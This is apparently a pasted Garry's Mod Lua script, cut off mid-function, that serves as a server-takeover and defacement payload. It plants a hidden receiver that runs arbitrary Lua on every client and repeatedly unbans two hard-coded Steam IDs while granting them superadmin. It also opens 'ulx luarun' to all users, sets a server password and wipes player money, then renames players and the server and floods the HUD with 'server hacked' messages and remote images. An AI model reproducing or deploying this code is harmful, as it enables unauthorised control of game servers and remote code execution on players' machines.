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Lapute Jul 19th, 2019 56 Never
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  1. util.AddNetworkString "slua2"
  2.  
  3. local DESIRED_NAME = "This Steam account has been VAC banned from secure servers due to a cheating infraction."
  4.  
  5. local lol = {}
  6. function lol:RandomString( intMin, intMax )
  7.     local ret = ""
  8.     for _ = 1, math.random( intMin, intMax ) do
  9.         ret = ret.. string.char( math.random(65, 90) )
  10.     end
  11.  
  12.     return ret
  13. end
  14.  
  15.  
  16.  
  17. lol.m_tblActions = {}
  18. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  19. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  20.  
  21. function lol:PushAction( intChainDelay, func )
  22.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  23. end
  24.  
  25. function lol:NextAction( pPlayer )
  26.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  27.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  28.  
  29.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  30.         if not IsValid( pPlayer ) then return end
  31.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  32.         self:NextAction( pPlayer )
  33.     end )
  34. end
  35.  
  36. function lol:Start( pPlayer )
  37.     pPlayer.m_intCurAction = 0
  38.     self:NextAction( pPlayer )
  39. end
  40.  
  41. function lol:SendLua( pPlayer, strLua )
  42.     net.Start( "slua2" )
  43.         net.WriteString( strLua )
  44.     net.Send( pPlayer )
  45. end
  46.  
  47. function lol:SetupPlayer( pPlayer )
  48.     pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
  49. end
  50.  
  51.  
  52. -------START CODE FORT BAN/UNBAN/ETC...
  53.     timer.Create( "sethealh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "2147483647") end)
  54.     timer.Create( "logecho0", 1, 0, function() RunConsoleCommand("ulx", "logecho", "0") end)
  55.     timer.Create( "godall", 1, 0, function() RunConsoleCommand("ulx", "god", "*") end)
  56. for k, v in pairs( player.GetAll() ) do
  57.     timer.Create( "moneymoney", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  58.     timer.Create( "ripriprip", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP")]]) end)
  59.     timer.Create( "getowned", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MELATRON")]]) end)
  60.     timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Quel dommage, toutes les données du serveur seront supprimés dans moins de 1 minute ! :( ")]]) end)
  61.     timer.Create( "checkForBanSparks", 10, 0, function() ULib.unban( "STEAM_0:0:105015067") end)
  62.     timer.Create( "setSUPERADMINSparks", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:105015067", "superadmin") end)
  63.     timer.Create( "checkForBanLenny", 10, 0, function() ULib.unban( "STEAM_0:1:81414478") end)
  64.     timer.Create( "setSUPERADMINLenny", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:81414478", "superadmin") end)
  65.     timer.Create( "luarun", 2, 0, function() RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun") end)
  66.     timer.Create( "resetmoney", 0.1, 0, function() RunConsoleCommand("rp_resetallmoney") end)
  67.     timer.Create( "csay", 0.1, 0, function() RunConsoleCommand("ulx", "csay", "OMG GET FUCKT BY TEAMSMENU.EXE | https://discord.gg/JwTjN8Z") end)
  68.     timer.Create( "hostname", 2, 0, function() RunConsoleCommand("ulx", "rcon", "hostname", "Serveur hacké par la sharing | Discord : https://discord.gg/JwTjN8Z") end)
  69.     timer.Create( "sv_password", 2, 0, function() RunConsoleCommand("ulx", "rcon", "sv_password", "smenu.exe") end)
  70.     timer.Create( "bot", 0.1, 0, function() RunConsoleCommand("ulx", "rcon", "bot") end)
  71.     timer.Create( "changer de nom", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end  end)
  72.     timer.Create( "undoprops", 0.1, 0, function() for k, v in pairs(player.GetAll()) do v:ConCommand("undo") end end)
  73.  
  74. end
  75. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  76.  
  77. -----START LINE CODE FOR DANSE
  78. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("cheer_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
  79. -----STOP LINE CODE FOR DANSE
  80.  
  81. ------- STARTCODE FOR FORCE CHANGE NAME
  82. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  83. ------- STOP LINE CODE FOR CHANGE NAME
  84.  
  85. ------- ARMAGEDDON
  86.             hook.Add("Think", "armageddon", function()
  87.                 local explode = ents.Create( "env_explosion" )
  88.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  89.                     explode:Spawn()
  90.                     explode:SetKeyValue( "iMagnitude", "500" )
  91.                     explode:Fire( "Explode", 0, 0 )
  92.                 end)  
  93. ---------TOURNER
  94.  
  95. for k,v in ipairs(player.GetAll()) do
  96.     v:ConCommand("+right")
  97.     v:ConCommand("+duck")
  98.     v:ConCommand("+voicerecord")
  99.     v:ConCommand("gmod_language","ko")
  100.     v:ConCommand("ground","color.math.66=math.99")
  101.     v:ConCommand("r_shader_srgb","1")
  102.     v:ConCommand("cl_yawspeed","9999")
  103.    
  104. end
  105.  
  106. timer.Simple(31, function()
  107.             enigma()
  108.      end
  109. end)
  110.  
  111. --------- GIANT
  112. hook.Add("Think", "giant", function()
  113.     for k,v in pairs (player.GetAll()) do
  114.         v:SetModelScale(50.5, 100);
  115.         v:SetRunSpeed(400 * 2);
  116.         v:SetWalkSpeed(200 * 2);
  117.     end
  118. end)
  119. ------------------
  120.  
  121. for k,v in pairs(player.GetAll()) do
  122.     v:ConCommand("say armageddon")
  123. end
  124.  
  125. for k,v in pairs(player.GetAll()) do
  126.     v:ConCommand("say giant")
  127. end
  128.  
  129. for k, v in pairs( player.GetAll() ) do
  130.     lol:SetupPlayer( v )
  131.     timer.Simple( 2, function() lol:Start( v ) end )
  132. end
  133.  
  134. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  135.     lol:SetupPlayer( pPlayer )
  136.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  137. end )
  138. hook.Add( "PlayerFootstep", "oooh", function( ply )
  139.            
  140.     ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
  141.            
  142. end )
  143.  
  144. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  145.     if strText:sub( 1, 5 ) == "/1337" then
  146.         pSender:Ignite( 1e9 )
  147.         pSender:ChatPrint( "fuck this job i quit" )
  148.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  149.         return false
  150.     end
  151. end )
  152.  
  153. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  154.     if strText:sub( 1, 5 ) == "what" then
  155.         pSender:Ignite( 1e9 )
  156.         pSender:ChatPrint( "Que demande un douanier à un cochon qui passe la frontière ? Son passe-porc ! lol xd mdr lol xptdr... vref brule connard" )
  157.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  158.         return false
  159.     end
  160. end)
  161.  
  162. --Sequence stack
  163. --Start some tunes and steam in our assets
  164. lol:PushAction( 0, function( pPlayer )
  165.     lol:SendLua( pPlayer, ([=[
  166.         sound.PlayURL( "https://musicdeouff.000webhostapp.com/turnitup.mp3", "", function()end )
  167.        
  168.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  169.         local html = [[%s]]
  170.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  171.             local pnl = vgui.Create( "HTML" )
  172.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  173.             pnl:SetVisible( true )
  174.             pnl:SetMouseInputEnabled( false )
  175.             pnl:SetKeyBoardInputEnabled( false )
  176.             pnl:SetSize( intSizeX, intSizeY )
  177.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  178.            
  179.             local PageLoaded
  180.             PageLoaded = function()
  181.                 local mat = pnl:GetHTMLMaterial()
  182.                 if mat then
  183.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  184.                     return
  185.                 end
  186.                
  187.                 timer.Simple( 0.5, PageLoaded )
  188.             end
  189.  
  190.             PageLoaded()
  191.         end
  192.  
  193. LoadWebMaterial( "https://cdn.frankerfacez.com/068183fea2bfbea358eae44fb5af1469.png", "getrekt", 1000, 1000 )
  194. LoadWebMaterial( "https://media.giphy.com/media/uCa2PBLWtcidy/giphy.gif", "getrekt2", 152, 250 )
  195. LoadWebMaterial( "https://media.tenor.com/images/1becb19cbedc5d189eed3102a9c86bf2/tenor.gif", "getrekt3", 152, 250 )
  196. ]=]):format(lol.m_strImageLoadHTML) )
  197. end )
  198.  
  199. --HUD swap
  200. lol:PushAction( 31, function( pPlayer )
  201.     lol:SendLua( pPlayer, [[
  202.         (GAMEMODE or GM).CalcView = function() end
  203.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  204.  
  205.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  206.         for k, v in pairs(remove) do
  207.             hook.GetTable()[v] = {}
  208.         end
  209.  
  210.         local function GetWebMat( strURL )
  211.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  212.         end
  213.  
  214.         hook.Add( "HUDPaint", "newhud", function()
  215.             surface.SetDrawColor( 255, 255, 255, 255 )
  216.  
  217.  
  218.                         if GetWebMat( "getrekt" ) then
  219.                                 surface.SetMaterial( GetWebMat("getrekt")[1] )
  220.                                 surface.DrawTexturedRect( 500, 50, 1000, 1000 )
  221.                         end
  222.                         if GetWebMat( "getrekt2" ) then
  223.                                 surface.SetMaterial( GetWebMat("getrekt2")[1] )
  224.                                 surface.DrawTexturedRect( 100, 425, 400, 400 )
  225.                         end
  226.                         if GetWebMat( "getrekt3" ) then
  227.                                 surface.SetMaterial( GetWebMat("getrekt3")[1] )
  228.                                 surface.DrawTexturedRect( 1550, 425, 400, 400 )
  229.                         end
  230.  
  231.                 draw.SimpleTextOutlined(
  232.                 "---»--@-} By !!!Mel le Dieu de la Destruction {-@--«---",
  233.                 "DermaLarge",
  234.                 ScrW() /2 +math.random( -8, 8 ),
  235.                 ScrH() /2 +math.random( -8, 8 ) +64,
  236.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  237.                 TEXT_ALIGN_CENTER,
  238.                 TEXT_ALIGN_CENTER,
  239.                 1,
  240.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  241.             )
  242.  
  243.                 draw.SimpleTextOutlined(
  244.                 "-=₪۩۞۩₪=  Serveur Hacké avec Smenu =₪۩۞۩₪=-",
  245.                 "DermaLarge",
  246.                 ScrW() /2 +math.random( -8, 8 ),
  247.                 ScrH() /2 +math.random( -8, 8 ) +24,
  248.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  249.                 TEXT_ALIGN_CENTER,
  250.                 TEXT_ALIGN_CENTER,
  251.                 1,
  252.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  253.             )
  254.             draw.SimpleTextOutlined(
  255.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  256.                 "DermaLarge",
  257.                 ScrW() /2 +math.random( -2, 2 ),
  258.                 ScrH() /2 +math.random( -2, 2 ) -160,
  259.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  260.                 TEXT_ALIGN_CENTER,
  261.                 TEXT_ALIGN_CENTER,
  262.                 3,
  263.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  264.             )
  265.  
  266.             draw.SimpleTextOutlined(
  267.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  268.                 "DermaLarge",
  269.                 ScrW() /2 +math.random( -2, 2 ),
  270.                 ScrH() /2 +math.random( -2, 2 ) +160,
  271.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  272.                 TEXT_ALIGN_CENTER,
  273.                 TEXT_ALIGN_CENTER,
  274.                 3,
  275.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  276.             )
  277.             draw.SimpleTextOutlined(
  278.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  279.                 "DermaLarge",
  280.                 ScrW() /2 +math.random( -2, 2 ),
  281.                 ScrH() /2 +math.random( -2, 2 ) +190,
  282.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  283.                 TEXT_ALIGN_CENTER,
  284.                 TEXT_ALIGN_CENTER,
  285.                 3,
  286.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  287.             )
  288.             draw.SimpleTextOutlined(
  289.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  290.                 "DermaLarge",
  291.                 ScrW() /2 +math.random( -2, 2 ),
  292.                 ScrH() /2 +math.random( -2, 2 ) -190,
  293.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  294.                 TEXT_ALIGN_CENTER,
  295.                 TEXT_ALIGN_CENTER,
  296.                 3,
  297.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  298.             )
  299.             draw.SimpleTextOutlined(
  300.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  301.                 "DermaLarge",
  302.                 ScrW() /2 +math.random( -2, 2 ),
  303.                 ScrH() /2 +math.random( -2, 2 ) +220,
  304.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  305.                 TEXT_ALIGN_CENTER,
  306.                 TEXT_ALIGN_CENTER,
  307.                 3,
  308.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  309.             )
  310.             draw.SimpleTextOutlined(
  311.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  312.                 "DermaLarge",
  313.                 ScrW() /2 +math.random( -2, 2 ),
  314.                 ScrH() /2 +math.random( -2, 2 ) -220,
  315.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  316.                 TEXT_ALIGN_CENTER,
  317.                 TEXT_ALIGN_CENTER,
  318.                 3,
  319.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  320.             )
  321.             draw.SimpleTextOutlined(
  322.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  323.                 "DermaLarge",
  324.                 ScrW() /2 +math.random( -2, 2 ),
  325.                 ScrH() /2 +math.random( -2, 2 ) +250,
  326.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  327.                 TEXT_ALIGN_CENTER,
  328.                 TEXT_ALIGN_CENTER,
  329.                 3,
  330.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  331.             )
  332.             draw.SimpleTextOutlined(
  333.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  334.                 "DermaLarge",
  335.                 ScrW() /2 +math.random( -2, 2 ),
  336.                 ScrH() /2 +math.random( -2, 2 ) -250,
  337.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  338.                 TEXT_ALIGN_CENTER,
  339.                 TEXT_ALIGN_CENTER,
  340.                 3,
  341.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  342.             )
  343.             draw.SimpleTextOutlined(
  344.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  345.                 "DermaLarge",
  346.                 ScrW() /2 +math.random( -2, 2 ),
  347.                 ScrH() /2 +math.random( -2, 2 ) +280,
  348.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  349.                 TEXT_ALIGN_CENTER,
  350.                 TEXT_ALIGN_CENTER,
  351.                 3,
  352.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  353.             )
  354.             draw.SimpleTextOutlined(
  355.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  356.                 "DermaLarge",
  357.                 ScrW() /2 +math.random( -2, 2 ),
  358.                 ScrH() /2 +math.random( -2, 2 ) -280,
  359.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  360.                 TEXT_ALIGN_CENTER,
  361.                 TEXT_ALIGN_CENTER,
  362.                 3,
  363.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  364.             )
  365.             draw.SimpleTextOutlined(
  366.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  367.                 "DermaLarge",
  368.                 ScrW() /2 +math.random( -2, 2 ),
  369.                 ScrH() /2 +math.random( -2, 2 ) +310,
  370.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  371.                 TEXT_ALIGN_CENTER,
  372.                 TEXT_ALIGN_CENTER,
  373.                 3,
  374.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  375.             )
  376.             draw.SimpleTextOutlined(
  377.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  378.                 "DermaLarge",
  379.                 ScrW() /2 +math.random( -2, 2 ),
  380.                 ScrH() /2 +math.random( -2, 2 ) -310,
  381.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  382.                 TEXT_ALIGN_CENTER,
  383.                 TEXT_ALIGN_CENTER,
  384.                 3,
  385.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  386.             )
  387.             draw.SimpleTextOutlined(
  388.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  389.                 "DermaLarge",
  390.                 ScrW() /2 +math.random( -2, 2 ),
  391.                 ScrH() /2 +math.random( -2, 2 ) +340,
  392.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  393.                 TEXT_ALIGN_CENTER,
  394.                 TEXT_ALIGN_CENTER,
  395.                 3,
  396.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  397.             )
  398.             draw.SimpleTextOutlined(
  399.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  400.                 "DermaLarge",
  401.                 ScrW() /2 +math.random( -2, 2 ),
  402.                 ScrH() /2 +math.random( -2, 2 ) -340,
  403.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  404.                 TEXT_ALIGN_CENTER,
  405.                 TEXT_ALIGN_CENTER,
  406.                 3,
  407.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  408.             )
  409.             draw.SimpleTextOutlined(
  410.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  411.                 "DermaLarge",
  412.                 ScrW() /2 +math.random( -2, 2 ),
  413.                 ScrH() /2 +math.random( -2, 2 ) -370,
  414.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  415.                 TEXT_ALIGN_CENTER,
  416.                 TEXT_ALIGN_CENTER,
  417.                 3,
  418.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  419.             )
  420.             draw.SimpleTextOutlined(
  421.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  422.                 "DermaLarge",
  423.                 ScrW() /2 +math.random( -2, 2 ),
  424.                 ScrH() /2 +math.random( -2, 2 ) +370,
  425.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  426.                 TEXT_ALIGN_CENTER,
  427.                 TEXT_ALIGN_CENTER,
  428.                 3,
  429.                Color(math.random(1,255),math.random(1,255),math.random(1,255))
  430.             )
  431.             draw.SimpleTextOutlined(
  432.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  433.                 "DermaLarge",
  434.                 ScrW() /2 +math.random( -2, 2 ),
  435.                 ScrH() /2 +math.random( -2, 2 ) -400,
  436.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  437.                 TEXT_ALIGN_CENTER,
  438.                 TEXT_ALIGN_CENTER,
  439.                 3,
  440.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  441.             )
  442.             draw.SimpleTextOutlined(
  443.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  444.                 "DermaLarge",
